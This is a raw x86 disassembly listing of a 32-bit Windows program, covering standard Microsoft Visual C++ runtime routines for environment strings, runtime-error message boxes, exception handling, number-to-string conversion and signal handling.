mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_426400 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [ebp-14h], 0
mov dword ptr [ebp-18h], 0
cmp dword_4DB2D8, 0
jnz short loc_42688A
call near ptr 2670000h
nop
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0
jz short loc_426868
mov dword_4DB2D8, 1
jmp short loc_42688A
; ---------------------------------------------------------------------------
loc_426868: ; CODE XREF: ___:0042685Aj
nop
call near ptr 28E143Ch
mov [ebp-18h], eax
cmp dword ptr [ebp-18h], 0
jz short loc_426883
mov dword_4DB2D8, 2
jmp short loc_42688A
; ---------------------------------------------------------------------------
loc_426883: ; CODE XREF: ___:00426875j
xor eax, eax
jmp loc_426A45
; ---------------------------------------------------------------------------
loc_42688A: ; CODE XREF: ___:0042684Bj
; ___:00426866j ...
cmp dword_4DB2D8, 1
jnz loc_42698E
cmp dword ptr [ebp-14h], 0
jnz short loc_4268B3
nop
call near ptr 2670000h
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0
jnz short loc_4268B3
xor eax, eax
jmp loc_426A45
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: ___:0042689Bj
; ___:004268AAj
mov eax, [ebp-14h]
mov [ebp-8], eax
loc_4268B9: ; CODE XREF: ___:loc_4268E3j
mov ecx, [ebp-8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_4268E5
mov eax, [ebp-8]
add eax, 2
mov [ebp-8], eax
mov ecx, [ebp-8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_4268E3
mov eax, [ebp-8]
add eax, 2
mov [ebp-8], eax
loc_4268E3: ; CODE XREF: ___:004268D8j
jmp short loc_4268B9
; ---------------------------------------------------------------------------
loc_4268E5: ; CODE XREF: ___:004268C3j
mov ecx, [ebp-8]
sub ecx, [ebp-14h]
sar ecx, 1
add ecx, 1
mov [ebp-4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp-4]
push edx
mov eax, [ebp-14h]
push eax
push 0
push 0
call near ptr 2710000h
nop
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 0
jz short loc_426934
push 64h
push offset dword_434298
push 2
mov ecx, [ebp-10h]
push ecx
call sub_414DD0
add esp, 10h
mov [ebp-18h], eax
cmp dword ptr [ebp-18h], 0
jnz short loc_426945
loc_426934: ; CODE XREF: ___:00426914j
mov edx, [ebp-14h]
push edx
nop
call near ptr 28E13DBh
xor eax, eax
jmp loc_426A45
; ---------------------------------------------------------------------------
loc_426945: ; CODE XREF: ___:00426932j
push 0
push 0
mov eax, [ebp-10h]
push eax
mov ecx, [ebp-18h]
push ecx
mov edx, [ebp-4]
push edx
mov eax, [ebp-14h]
push eax
push 0
push 0
nop
call near ptr 2710000h
test eax, eax
jnz short loc_42697C
push 2
mov ecx, [ebp-18h]
push ecx
call sub_415860
add esp, 8
mov dword ptr [ebp-18h], 0
loc_42697C: ; CODE XREF: ___:00426965j
mov edx, [ebp-14h]
push edx
nop
call near ptr 28E13DBh
mov eax, [ebp-18h]
jmp loc_426A45
; ---------------------------------------------------------------------------
loc_42698E: ; CODE XREF: ___:00426891j
cmp dword_4DB2D8, 2
jnz loc_426A43
cmp dword ptr [ebp-18h], 0
jnz short loc_4269B7
nop
call near ptr 28E143Ch
mov [ebp-18h], eax
cmp dword ptr [ebp-18h], 0
jnz short loc_4269B7
xor eax, eax
jmp loc_426A45
; ---------------------------------------------------------------------------
loc_4269B7: ; CODE XREF: ___:0042699Fj
; ___:004269AEj
mov eax, [ebp-18h]
mov [ebp-0Ch], eax
loc_4269BD: ; CODE XREF: ___:loc_4269E3j
mov ecx, [ebp-0Ch]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4269E5
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
mov ecx, [ebp-0Ch]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_4269E3
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_4269E3: ; CODE XREF: ___:004269D8j
jmp short loc_4269BD
; ---------------------------------------------------------------------------
loc_4269E5: ; CODE XREF: ___:004269C5j
mov ecx, [ebp-0Ch]
sub ecx, [ebp-18h]
add ecx, 1
mov [ebp-10h], ecx
push 8Fh
push offset dword_434298
push 2
mov edx, [ebp-10h]
push edx
call sub_414DD0
add esp, 10h
mov [ebp-0Ch], eax
cmp dword ptr [ebp-0Ch], 0
jnz short loc_426A20
mov eax, [ebp-18h]
push eax
nop
call near ptr 28E12BDh
xor eax, eax
jmp short loc_426A45
; ---------------------------------------------------------------------------
loc_426A20: ; CODE XREF: ___:00426A10j
mov ecx, [ebp-10h]
push ecx
mov edx, [ebp-18h]
push edx
mov eax, [ebp-0Ch]
push eax
call sub_4187B0
add esp, 0Ch
mov ecx, [ebp-18h]
push ecx
nop
call near ptr 28E12BDh
mov eax, [ebp-0Ch]
jmp short loc_426A45
; ---------------------------------------------------------------------------
loc_426A43: ; CODE XREF: ___:00426995j
xor eax, eax
loc_426A45: ; CODE XREF: ___:00426885j
; ___:004268AEj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426A54 proc near ; DATA XREF: sub_424150+Ao
; sub_424340+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_426AF4
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_426A87: ; CODE XREF: sub_426A54+90j
cmp esi, 0FFFFFFFFh
jz short loc_426AED
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_426ADB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_426ADB
js short loc_426AE6
mov edi, [ebx+8]
push ebx
call sub_4196B0
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4196F2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_419786
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_426ADB: ; CODE XREF: sub_426A54+40j
; sub_426A54+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_426A87
; ---------------------------------------------------------------------------
loc_426AE6: ; CODE XREF: sub_426A54+54j
mov eax, 0
jmp short loc_426B09
; ---------------------------------------------------------------------------
loc_426AED: ; CODE XREF: sub_426A54+36j
mov eax, 1
jmp short loc_426B09
; ---------------------------------------------------------------------------
loc_426AF4: ; CODE XREF: sub_426A54+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4196F2
add esp, 8
pop ebp
mov eax, 1
loc_426B09: ; CODE XREF: sub_426A54+97j
; sub_426A54+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_426A54 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4196F2
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B30 proc near ; CODE XREF: sub_41A9A0+Cp
; ___:0041A9DCp
push ebp
mov ebp, esp
cmp dword_4DB124, 1
jz short loc_426B4E
cmp dword_4DB124, 0
jnz short loc_426B77
cmp dword_443B84, 1
jnz short loc_426B77
loc_426B4E: ; CODE XREF: sub_426B30+Aj
push 0FCh
call sub_426B80
add esp, 4
cmp dword_4DB2DC, 0
jz short loc_426B6A
call dword_4DB2DC
loc_426B6A: ; CODE XREF: sub_426B30+32j
push 0FFh
call sub_426B80
add esp, 4
loc_426B77: ; CODE XREF: sub_426B30+13j
; sub_426B30+1Cj
pop ebp
retn
sub_426B30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B80 proc near ; CODE XREF: sub_41A9A0+15p
; ___:0041A9E5p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_426B9E
; ---------------------------------------------------------------------------
loc_426B95: ; CODE XREF: sub_426B80:loc_426BB5j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_426B9E: ; CODE XREF: sub_426B80+13j
cmp [ebp+var_8], 12h
jnb short loc_426BB7
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, dword_444450[ecx*8]
jnz short loc_426BB5
jmp short loc_426BB7
; ---------------------------------------------------------------------------
loc_426BB5: ; CODE XREF: sub_426B80+31j
jmp short loc_426B95
; ---------------------------------------------------------------------------
loc_426BB7: ; CODE XREF: sub_426B80+22j
; sub_426B80+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, dword_444450[eax*8]
jnz loc_426D38
cmp [ebp+arg_0], 0FCh
jz short loc_426BF4
mov edx, [ebp+var_8]
mov eax, off_444454[edx*8]
push eax
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_426BF4
int 3 ; Trap to Debugger
loc_426BF4: ; CODE XREF: sub_426B80+51j
; sub_426B80+71j
cmp dword_4DB124, 1
jz short loc_426C0F
cmp dword_4DB124, 0
jnz short loc_426C48
cmp dword_443B84, 1
jnz short loc_426C48
loc_426C0F: ; CODE XREF: sub_426B80+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, off_444454[edx*8]
push eax
call sub_414BE0
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, off_444454[ecx*8]
push edx
push 0FFFFFFF4h
nop
call near ptr 2860000h
push eax
nop
call near ptr 2720000h
jmp loc_426D38
; ---------------------------------------------------------------------------
loc_426C48: ; CODE XREF: sub_426B80+84j
; sub_426B80+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_426D38
push 104h
lea eax, [ebp+var_110]
push eax
push 0
call near ptr 2680000h
nop
test eax, eax
jnz short loc_426C81
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_4184C0
add esp, 8
loc_426C81: ; CODE XREF: sub_426B80+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_414BE0
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_426CCA
lea ecx, [ebp+var_110]
push ecx
call sub_414BE0
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_417770
add esp, 0Ch
loc_426CCA: ; CODE XREF: sub_426B80+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_4184C0
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_4184D0
add esp, 8
push offset asc_433E58 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_4184D0
add esp, 8
mov eax, [ebp+var_8]
mov ecx, off_444454[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_4184D0
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_427610
add esp, 0Ch
loc_426D38: ; CODE XREF: sub_426B80+44j
; sub_426B80+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_426B80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_426D56
; ---------------------------------------------------------------------------
loc_426D4D: ; CODE XREF: ___:loc_426D6Dj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_426D56: ; CODE XREF: ___:00426D4Bj
cmp dword ptr [ebp-4], 12h
jnb short loc_426D6F
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, dword_444450[ecx*8]
jnz short loc_426D6D
jmp short loc_426D6F
; ---------------------------------------------------------------------------
loc_426D6D: ; CODE XREF: ___:00426D69j
jmp short loc_426D4D
; ---------------------------------------------------------------------------
loc_426D6F: ; CODE XREF: ___:00426D5Aj
; ___:00426D6Bj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, dword_444450[eax*8]
jnz short loc_426D8A
mov edx, [ebp-4]
mov eax, off_444454[edx*8]
jmp short loc_426D8C
; ---------------------------------------------------------------------------
loc_426D8A: ; CODE XREF: ___:00426D7Cj
xor eax, eax
loc_426D8C: ; CODE XREF: ___:00426D88j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D90 proc near ; CODE XREF: sub_41AB10+31Dp
; sub_42BE10+1EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426DB7
cmp [ebp+arg_0], 0
jge short loc_426DB7
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426DE0
add esp, 10h
jmp short loc_426DCD
; ---------------------------------------------------------------------------
loc_426DB7: ; CODE XREF: sub_426D90+7j
; sub_426D90+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_426DE0
add esp, 10h
loc_426DCD: ; CODE XREF: sub_426D90+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_426D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426DE0 proc near ; CODE XREF: sub_426D90+1Dp
; sub_426D90+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_426E09
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_426E09: ; CODE XREF: sub_426DE0+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_426E0F: ; CODE XREF: sub_426DE0+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_426E41
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_426E55
; ---------------------------------------------------------------------------
loc_426E41: ; CODE XREF: sub_426DE0+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_426E55: ; CODE XREF: sub_426DE0+5Fj
cmp [ebp+arg_0], 0
ja short loc_426E0F
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_426E6A: ; CODE XREF: sub_426DE0+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_426E6A
mov esp, ebp
pop ebp
retn
sub_426DE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_426EC9
cmp dword ptr [ebp+8], 0
jge short loc_426EC9
mov dword ptr [ebp-4], 1
jmp short loc_426ED0
; ---------------------------------------------------------------------------
loc_426EC9: ; CODE XREF: ___:00426EB8j
; ___:00426EBEj
mov dword ptr [ebp-4], 0
loc_426ED0: ; CODE XREF: ___:00426EC7j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_426DE0
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_426DE0
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_426F31
cmp dword ptr [ebp+0Ch], 0
jg short loc_426F31
jl short loc_426F28
cmp dword ptr [ebp+8], 0
jnb short loc_426F31
loc_426F28: ; CODE XREF: ___:00426F20j
mov dword ptr [ebp-4], 1
jmp short loc_426F38
; ---------------------------------------------------------------------------
loc_426F31: ; CODE XREF: ___:00426F18j
; ___:00426F1Ej ...
mov dword ptr [ebp-4], 0
loc_426F38: ; CODE XREF: ___:00426F2Fj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_426F60
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426F60 proc near ; CODE XREF: ___:00426F4Cp
; ___:00427075p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_426F94
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_426F94: ; CODE XREF: sub_426F60+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_426F9A: ; CODE XREF: sub_426F60+9Fj
; sub_426F60+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41A440
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A3D0
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_426FE7
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_426FFB
; ---------------------------------------------------------------------------
loc_426FE7: ; CODE XREF: sub_426F60+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_426FFB: ; CODE XREF: sub_426F60+85j
cmp [ebp+arg_4], 0
ja short loc_426F9A
jb short loc_427009
cmp [ebp+arg_0], 0
ja short loc_426F9A
loc_427009: ; CODE XREF: sub_426F60+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_427018: ; CODE XREF: sub_426F60+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_427018
mov esp, ebp
pop ebp
retn 14h
sub_426F60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_426F60
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_427093
cmp dword ptr [ebp+0Ch], 3
jnz short loc_427098
loc_427093: ; CODE XREF: ___:0042708Bj
jmp loc_427268
; ---------------------------------------------------------------------------
loc_427098: ; CODE XREF: ___:00427091j
cmp dword ptr [ebp+8], 2
jz short loc_4270B4
cmp dword ptr [ebp+8], 15h
jz short loc_4270B4
cmp dword ptr [ebp+8], 16h
jz short loc_4270B4
cmp dword ptr [ebp+8], 0Fh
jnz loc_427191
loc_4270B4: ; CODE XREF: ___:0042709Cj
; ___:004270A2j ...
push 1
call sub_41B780
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_4270CA
cmp dword ptr [ebp+8], 15h
jnz short loc_42710F
loc_4270CA: ; CODE XREF: ___:004270C2j
cmp dword_4DB2F0, 0
jnz short loc_42710F
push 1
push offset sub_4272B0
call near ptr 27A0B9Dh
nop
cmp eax, 1
jnz short loc_4270F1
mov dword_4DB2F0, 1
jmp short loc_42710F
; ---------------------------------------------------------------------------
loc_4270F1: ; CODE XREF: ___:004270E3j
nop
call near ptr 26908EFh
mov esi, eax
call sub_420530
mov [eax], esi
push 1
call sub_41B820
add esp, 4
jmp loc_427268
; ---------------------------------------------------------------------------
loc_42710F: ; CODE XREF: ___:004270C8j
; ___:004270D1j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_427182
mov eax, [ebp-10h]
xor edx, edx
mov dl, byte_42728F[eax]
jmp off_42727B[edx*4]
loc_427136: ; DATA XREF: ___:off_42727Bo
mov ecx, dword_4DB2E0
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4DB2E0, edx
jmp short loc_427182
; ---------------------------------------------------------------------------
loc_42714A: ; CODE XREF: ___:0042712Fj
; DATA XREF: ___:00427283o
mov eax, dword_4DB2E4
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov dword_4DB2E4, ecx
jmp short loc_427182
; ---------------------------------------------------------------------------
loc_42715D: ; CODE XREF: ___:0042712Fj
; DATA XREF: ___:00427287o
mov edx, dword_4DB2E8
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov dword_4DB2E8, eax
jmp short loc_427182
; ---------------------------------------------------------------------------
loc_427170: ; CODE XREF: ___:0042712Fj
; DATA XREF: ___:0042727Fo
mov ecx, dword_4DB2EC
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4DB2EC, edx
loc_427182: ; CODE XREF: ___:00427122j
; ___:0042712Fj ...
push 1
call sub_41B820
add esp, 4
jmp loc_427263
; ---------------------------------------------------------------------------
loc_427191: ; CODE XREF: ___:004270AEj
cmp dword ptr [ebp+8], 8
jz short loc_4271A8
cmp dword ptr [ebp+8], 4
jz short loc_4271A8
cmp dword ptr [ebp+8], 0Bh
jz short loc_4271A8
jmp loc_427268
; ---------------------------------------------------------------------------
loc_4271A8: ; CODE XREF: ___:00427195j
; ___:0042719Bj ...
call sub_41F970
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_4443C8
jnz short loc_427205
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, dword_444448
push ecx
call sub_414DD0
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_427203
mov ecx, dword_444448
push ecx
push offset dword_4443C8
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call sub_4187B0
add esp, 0Ch
jmp short loc_427205
; ---------------------------------------------------------------------------
loc_427203: ; CODE XREF: ___:004271E4j
jmp short loc_427268
; ---------------------------------------------------------------------------
loc_427205: ; CODE XREF: ___:004271BAj
; ___:00427201j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_427590
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_427223
jmp short loc_427268
; ---------------------------------------------------------------------------
loc_427223: ; CODE XREF: ___:0042721Fj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_42722C: ; CODE XREF: ___:loc_427261j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_427263
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, dword_44444C
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_427261
jmp short loc_427263
; ---------------------------------------------------------------------------
loc_427261: ; CODE XREF: ___:0042725Dj
jmp short loc_42722C
; ---------------------------------------------------------------------------
loc_427263: ; CODE XREF: ___:0042718Cj
; ___:00427235j ...
mov eax, [ebp-0Ch]
jmp short loc_427276
; ---------------------------------------------------------------------------
loc_427268: ; CODE XREF: ___:loc_427093j
; ___:0042710Aj ...
call sub_420520
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_427276: ; CODE XREF: ___:00427266j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_42727B dd offset loc_427136 ; DATA XREF: ___:0042712Fr
dd offset loc_427170
dd offset loc_42714A
dd offset loc_42715D
dd offset loc_427182
byte_42728F db 0 ; DATA XREF: ___:00427129r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4272B0 proc near ; DATA XREF: ___:004270D5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_41B780
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_4272DE
mov [ebp+var_8], offset dword_4DB2E0
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_4272F4
; ---------------------------------------------------------------------------
loc_4272DE: ; CODE XREF: sub_4272B0+14j
mov [ebp+var_8], offset dword_4DB2E4
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_4272F4: ; CODE XREF: sub_4272B0+2Cj
cmp [ebp+var_C], 0
jnz short loc_427308
push 1
call sub_41B820
add esp, 4
xor eax, eax
jmp short loc_42733C
; ---------------------------------------------------------------------------
loc_427308: ; CODE XREF: sub_4272B0+48j
cmp [ebp+var_C], 1
jz short loc_42732D
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_41B820
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_427337
; ---------------------------------------------------------------------------
loc_42732D: ; CODE XREF: sub_4272B0+5Cj
push 1
call sub_41B820
add esp, 4
loc_427337: ; CODE XREF: sub_4272B0+7Bj
mov eax, 1
loc_42733C: ; CODE XREF: sub_4272B0+56j
mov esp, ebp
pop ebp
retn 4
sub_4272B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
